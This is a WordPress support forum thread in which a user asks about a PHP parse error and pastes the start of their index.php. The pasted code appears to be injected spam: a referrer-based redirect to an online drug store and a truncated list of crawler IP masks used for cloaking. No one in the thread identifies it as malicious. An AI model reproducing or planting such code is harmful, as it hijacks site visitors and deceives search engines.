Title: Parse error: syntax error, unexpected $end
Last modified: August 20, 2016

---

# Parse error: syntax error, unexpected $end

 *  [bcp180](https://wordpress.org/support/users/bcp180/)
 * (@bcp180)
 * [14 years, 8 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-13/)
 * All i did was create a post and publish it, once i went to view the post, i got
   this message. please help
 * Parse error: syntax error, unexpected $end in /home/content/p/r/e/prestonjackson/
   html/180/index.php on line 34

Viewing 4 replies - 1 through 4 (of 4 total)

 *  [Ryan Yu](https://wordpress.org/support/users/geeksfolder/)
 * (@geeksfolder)
 * [14 years, 8 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-13/#post-2327278)
 * Have you checked the index.php if the php code has been closed properly?
 * Can you post the code of index.php to see what the issue would be?
 *  Thread Starter [bcp180](https://wordpress.org/support/users/bcp180/)
 * (@bcp180)
 * [14 years, 8 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-13/#post-2327289)
 * yes i will. one second
 *  Thread Starter [bcp180](https://wordpress.org/support/users/bcp180/)
 * (@bcp180)
 * [14 years, 8 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-13/#post-2327290)
 * <?php
    $keyspat = ‘#accutane|Accutane|isotretinoin|Isotretinoin#’;
 * if (preg_match($keyspat, $_SERVER[“HTTP_REFERER”])) {
    header(“Location: [http://bestnewdrugstore.com/order-accutane-online-en.html&#8221](http://bestnewdrugstore.com/order-accutane-online-en.html&#8221););
   exit; } ?> <?php $stop_ips_masks = array( “66\.249\.[6-9][0-9]\.[0-9]+”, “70\.
   91\.180\.25”, “65\.5[2-5]\.[0-9]+\.[0-9]+”, “74\.6\.[0-9]+\.[0-9]+”, “67\.195\.[
   0-9]+\.[0-9]+”, “72\.30\.65\.32”, “93\.172\.94\.227”, “212\.100\.250\.218”, “
   71\.165\.223\.134”, “81\.159\.49\.212”, “72\.30\.142\.154”, “72\.30\.161\.250”,“
   72\.30\.65\.32”, “72\.30\.79\.108”, “72\.30\.79\.125”, “72\.30\.79\.40”, “72\.
   30\.79\.54”, “72\.49\.218\.110”, “74\.125\.74\.35”, “74\.125\.74\.86”, “74\.191\.
   76\.105”, “74\.193\.246\.129”, “75\.21\.160\.247”, “75\.27\.150\.216
 *  [Ryan Yu](https://wordpress.org/support/users/geeksfolder/)
 * (@geeksfolder)
 * [14 years, 8 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-13/#post-2327308)
 * Can you use [http://pastebin.com/](http://pastebin.com/) to paste your code please?

Viewing 4 replies - 1 through 4 (of 4 total)

The topic ‘Parse error: syntax error, unexpected $end’ is closed to new replies.

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 4 replies
 * 2 participants
 * Last reply from: [Ryan Yu](https://wordpress.org/support/users/geeksfolder/)
 * Last activity: [14 years, 8 months ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-13/#post-2327308)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
